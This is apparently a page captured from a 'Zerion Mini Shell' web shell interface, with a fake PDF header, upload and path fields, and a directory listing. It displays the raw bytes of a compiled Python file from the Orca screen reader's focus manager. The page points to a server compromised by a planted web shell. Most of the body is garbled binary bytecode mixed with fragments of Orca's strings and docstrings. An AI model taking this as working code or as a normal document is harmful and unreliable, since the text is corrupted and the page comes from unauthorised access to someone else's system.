%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/lib/python3/dist-packages/orca/__pycache__/
Upload File :
Create Path :
Current File : //usr/lib/python3/dist-packages/orca/__pycache__/focus_manager.cpython-312.pyc

�

g
f?8���dZdZdZdZdZdZddlmZddlmZdd	lm	Z	dd
l
mZddlm
Z
dZd
ZdZdZdZdZGd�d�Ze�Zd�Zy)z1Module to manage the focused object, window, etc.z$Id$z
$Revision$z$Date$zQCopyright (c) 2005-2008 Sun Microsystems Inc.Copyright (c) 2016-2023 Igalia, S.L.�LGPL�)�braille)�debug)�script_manager)�AXObject)�AXUtilitieszcaret-trackingzfocus-trackingzflat-reviewzmouse-reviewzobject-navigatorzsay-allc�~�eZdZdZd�Zdd�Zd�Zd�Zd�Zd�Z	d�Z
dd
�Zd�Zd�Z
dd
�Zd�Zd�Zd�Zd�Zd�Zdd�Zy	)�FocusManagerz(Manages the focused object, window, etc.c�<�d|_d|_d|_d|_y�N)�_window�_focus�_object_of_interest�_active_mode��selfs �4/usr/lib/python3/dist-packages/orca/focus_manager.py�__init__zFocusManager.__init__1s ��������#'�� � ���c��d}|r|d|��z
}tjtj|d�d|_d|_d|_d|_y)z!Clears everything we're tracking.z!FOCUS MANAGER: Clearing all statez: TN)r�printMessage�
LEVEL_INFOrr
rr)r�reason�msgs   r�clear_statezFocusManager.clear_state7sR��2����R��x�=� �C�
���5�+�+�S�$�7�������#'�� � ��rc��tj|j�}d|jd|g}tjtj
|d�|S)z0Returns the focused object in the active window.z FOCUS MANAGER: Focused object in�isT)r�get_focused_objectr
r�printTokensr)r�result�tokenss   r�find_focused_objectz FocusManager.find_focused_objectCsG���/�/����=��4�d�l�l�D�&�Q��
���%�*�*�F�D�9��
rc��|jduxr|jdu}|r'd}tjtj|d�|S)z;Returns True if we have no knowledge about what is focused.Nz+FOCUS MANAGER: Focus and window are unknownT)rr
rrr)rr rs   r�focus_and_window_are_unknownz)FocusManager.focus_and_window_are_unknownKsE������$�=�����)=���?�C����u�/�/��d�;��
rc��tj|j�syd}tjtj
|d�y)z+Returns True if the locus of focus is dead.FzFOCUS MANAGER: Focus is deadT)r�is_deadrrrr)rrs  r�
focus_is_deadzFocusManager.focus_is_deadUs9��������,��,��
���5�+�+�S�$�7�rc�N�|j�y|j|jk(S)z8Returns True if the locus of focus is the active window.F)rr
rs r�focus_is_active_windowz#FocusManager.focus_is_active_window_s$���;�;����{�{�d�l�l�*�*rc�v�|jduxr*tj|j|j�S)z@Returns True if the locus of focus is inside the current window.N)rr�is_ancestorr
rs r�focus_is_in_active_windowz&FocusManager.focus_is_in_active_windowgs-���{�{�$�&�Z�8�+?�+?����T�\�\�+Z�ZrNc��|�d}|�|}|�t}	|jd|zdd�||jk7r}d|jd	|g}tjtj
|d�||_|tk(r$tjtj�ntj�	d
|d|�d|�d
�g}tjtj
|d�|jd||�||jk7r=d|jd	|g}tjtj
|d�||_yy#t$r5}d|��}tjtj
|d�Yd}~��Wd}~wwxYw#t$r4}d|��}tjtj
|d�Yd}~��d}~wwxYw)zLNotifies interested clients that the current region of interest has changed.N�zmode-changed::r�z=FOCUS MANAGER: Exception emitting mode-changed notification: Tz"FOCUS MANAGER: Switching mode from�toz"FOCUS MANAGER: Region of interest:�(z, �)zregion-changedz?FOCUS MANAGER: Exception emitting region-changed notification: z0FOCUS MANAGER: Switching object of interest from)
�FOCUS_TRACKING�emit�	Exceptionrrrrr�FLAT_REVIEWr�setBrlapiPriority�BRLAPI_PRIORITY_HIGHr)r�obj�start_offset�
end_offset�mode�errorrr!s        r�emit_region_changedz FocusManager.emit_region_changedls������L���%�J��<�!�D�	<��H�H�%��,�a��4�
�4�$�$�$�:�D�<M�<M�t�UY�Z�F����e�.�.���=� $�D���{�"��)�)�'�*F�*F�G��)�)�+�	<�:�C�1�\�N�RT�U_�T`�`a�Ab�c�F����e�.�.���=��H�H�%�|�Z�@�
�$�*�*�*�H��.�.��c�;�F����e�.�.���=�'*�D�$�	+��+�	<�Q�RW�QX�Y�C����u�/�/��d�;�;��	<��"�	<�S�TY�SZ�[�C����u�/�/��d�;�;��	<�s0�E�5AF�	F�*E?�?F�	G�*F?�?Gc��d|jd|jg}tjtj|d�|j|jfS)z:Returns the current mode and associated object of interestzFOCUS MANAGER: Active mode:zObject of interest:T)rrrrr�rr!s  r�&get_active_mode_and_object_of_interestz3FocusManager.get_active_mode_and_object_of_interest�sQ��0��1B�1B�'��)A�)A�C��
���%�*�*�F�D�9�� � �$�":�":�:�:rc��d|jg}tjtj|d�|jS)zGReturns the current locus of focus (i.e. the object with visual focus).z FOCUS MANAGER: Locus of focus isT)rrrrr@s  r�get_locus_of_focuszFocusManager.get_locus_of_focus�s4��5�d�k�k�B��
���%�*�*�F�D�9��{�{�rc�>�d|g}tjtj|dd�tj|�}tj||d�|s7||jk(r(d}tjtj|d�ytj�j�}|r|r}|jsqtj|j�}	tj�j|	|j�}tj�j!|d�|j}
tj"|
�rd}
|�/d}tjtj|d�d|_ytj"|�r+d|d	g}tjtj|d�y|�@tj$|�s+d|d
g}tjtj|d�yd|
d|d
|g}tjtj|d�||_|j'|t(��|sy|�(d}tjtj|d�y|j+||
|j�y)z=Sets the locus of focus (i.e., the object with visual focus).z/FOCUS MANAGER: Request to set locus of focus toTzSetting locus of focus.z@FOCUS MANAGER: Setting locus of focus to existing locus of focusNzSetting locus of focusz9FOCUS MANAGER: New locus of focus is null (being cleared)z#FOCUS MANAGER: New locus of focus (z) is dead. Not updating.z) is invalid. Not updating.z+FOCUS MANAGER: Changing locus of focus fromr0z	. Notify:)r<zBFOCUS MANAGER: Cannot notify active script because there isn't one)rrrr�
is_table_cellr�clear_cacherrr�
getManager�getActiveScript�app�get_application�source�	getScript�setActiveScriptr&�is_validr>r3�locusOfFocusChanged)r�eventr9�
notify_script�forcer!�	recursiver�scriptrI�	old_focuss           r�set_locus_of_focuszFocusManager.set_locus_of_focus�s/��D�S�I��
���%�*�*�F�D�$�?� �-�-�c�2�	����S�)�-F�G������+�T�C����u�/�/��d�;�� �*�*�,�<�<�>���f�V�Z�Z��*�*�5�<�<�8�C�#�.�.�0�:�:�3����M�F��%�%�'�7�7��@X�Y��K�K�	����I�&��I��;�M�C����u�/�/��d�;��D�K�����C� �;�S�B\�]�F����e�.�.���=�����$�$�S�)�?��Fc�d���!�!�%�"2�"2�F�D�A��?����[�-�9��
���%�*�*�F�D�9����� � ��>� �:����>�V�C����u�/�/��d�;���"�"�5�)�T�[�[�Arc���tj|jdd�tj|j�}d|jd|g}tjt
j|d�|S)zKReturns True if the window we think is currently active is actually active.Fz,Ensuring the active window is really active.�FOCUS MANAGER:z
is active:T)rrFr
r�	is_activerrr)rrYr!s   r�active_window_is_activez$FocusManager.active_window_is_active�s_��	���T�\�\�5�2`�a��)�)�$�,�,�7�	�"�D�L�L�,�	�J��
���%�*�*�F�D�9��rc�|�tj|�sytj|�j	d�dk(S)z0Returns True if this object is the desktop frameFz
is-desktop�true)r�is_framer�get_attributes_dict�get)r�windows  r�_is_desktop_framezFocusManager._is_desktop_frame�s6���#�#�F�+���+�+�F�3�7�7��E��O�Orc�@�|�ytj|dd�tj|�}d|d|g}tj|�s7|jd�t
jtj|d�ytj|�s7|jd�t
jtj|d�ytj|�r7|jd�t
jtj|d�ytj|�d	k(r7|jd
�t
jtj|d�y|jd�t
jtj|d�y)zCReturns True if window can be the active window based on its state.Fz+Checking if window can be the active windowrX�fromzlacks active stateTzlacks showing statezis iconifiedzmutter-x11-framesz3is from app that cannot have the real active windowzcan be active window)rrFrJrrY�appendrrr�
is_showing�is_iconified�get_name)rr`rIr!s    r�can_be_active_windowz!FocusManager.can_be_active_window�sB���>�����V�U�,Y�Z��&�&�v�.��"�F�F�C�8���$�$�V�,��M�M�.�/����e�.�.���=���%�%�f�-��M�M�/�0����e�.�.���=���#�#�F�+��M�M�.�)����e�.�.���=�����S�!�%8�8��M�M�O�P����e�.�.���=���
�
�,�-�
���%�*�*�F�D�9�rc	��g}|xstjd��}|D]:}|jtt	j
||j����<|s*d|g}tjtj|d�yt|�dk(r1d|dg}tjtj|d�|dSd|g}tjtj|d�gd	�}g}|D]h}t	jt	j|��|vr+d
|dg}tjtj|d��X|j|��jt|�dk(r1d|dg}tjtj|d�|dSd}|r.d
|g}tjtj|d�|d}d|dg}tjtj|d�|S)z:Tries to locate the active window; may or may not succeed.T)�must_have_windowz0FOCUS MANAGER: Unable to find active window fromNr�FOCUS MANAGER: Active window isr.z4FOCUS MANAGER: These windows all claim to be active:)�slack�discordzoutline-clientzwhatsapp-desktop-linuxzFOCUS MANAGER: Suspectingzis a non-active Electron appz.FOCUS MANAGER: Active window is believed to bez2FOCUS MANAGER: Still have multiple active windows:zFOCUS MANAGER: Returningzas active window)r�get_all_applications�extend�listr�
iter_childrenrhrrr�lenrgrJrd)	r�apps�
candidatesrIr!�suspect_app_names�filtered�frame�guesss	         r�find_active_windowzFocusManager.find_active_windows����
��N�{�7�7��N���	\�C����d�8�#9�#9�#�t�?X�?X�#Y�Z�[�	\��H�$�O�F����e�.�.���=���z�?�a��7��A��G�F����e�.�.���=��a�=� �H�*�U��
���%�*�*�F�D�9�7�����	'�E�� � ��!9�!9�%�!@�A�EV�V�5�u�>\�]���!�!�%�"2�"2�F�D�A�����&�	'��x�=�A��F��QR��T�F����e�.�.���=��A�;�����J�H�U�F����e�.�.���=��Q�K�E�,�e�5G�H��
���%�*�*�F�D�9��rc��d|jg}tjtj|dd�|jS)zJReturns the currently-active window (i.e. without searching or verifying).rkT)r
rrrr@s  r�get_active_windowzFocusManager.get_active_windowDs6��4�T�\�\�B��
���%�*�*�F�D�$�?��|�|�rc��d|g}|�|jd|g�tjtj|d�||jk(r(d}tj
tj|d�nb|�d|_nXt
j||�\}}||k7r3d|d|g}tjtj|d�||_n||_|r|jd|j|�y|jr}|jrp|j�s_d|jd|jg}tjtj|dd�|jd|jd�	�yyyy)
zSets the active window.z.FOCUS MANAGER: Request to set active window toN�inTz>FOCUS MANAGER: Setting active window to existing active windowz*FOCUS MANAGER: Correcting active window tozFOCUS MANAGER: Focusz	is not in)rQ)rorrrr
rr�find_real_app_and_window_forrVrr,)	rrwrI�set_window_as_focusrQr!r�real_app�
real_frames	         r�set_active_windowzFocusManager.set_active_windowKsK��C�E�J���?��M�M�4��+�&�
���%�*�*�F�D�9��D�L�L� �R�C����u�/�/��d�;�
�]��D�L�#+�#H�#H��PS�#T� �H�j��U�"�F�
�TX�Zb�c���!�!�%�"2�"2�F�D�A�)���$�����#�#�D�$�,�,�
�F�
�\�\�d�k�k�$�2P�2P�2R�,�d�k�k�;����U�F����e�.�.���d�C��#�#�D�$�,�,�d�#�K�3S�k�\r)r/)NNN)TF)NFF)�__name__�
__module__�__qualname__�__doc__rrr"r$r'r)r,r>rArCrVrZrarhryr{r��rrr
r
.sb��2�!�
!����+�[�
%+�N;��;B�z�P� �D0�d�Lrr
c��tSr)�_managerr�rrrGrGjs���OrN)r��__id__�__version__�__date__�
__copyright__�__license__r/rrr�	ax_objectr�ax_utilitiesr�CARET_TRACKINGr3r6�MOUSE_REVIEW�OBJECT_NAVIGATOR�SAY_ALLr
r�rGr�rr�<module>r�sp��.8�������7�
�������%�!��!������%��
��xL�xL�v	�>��r

Zerion Mini Shell 1.0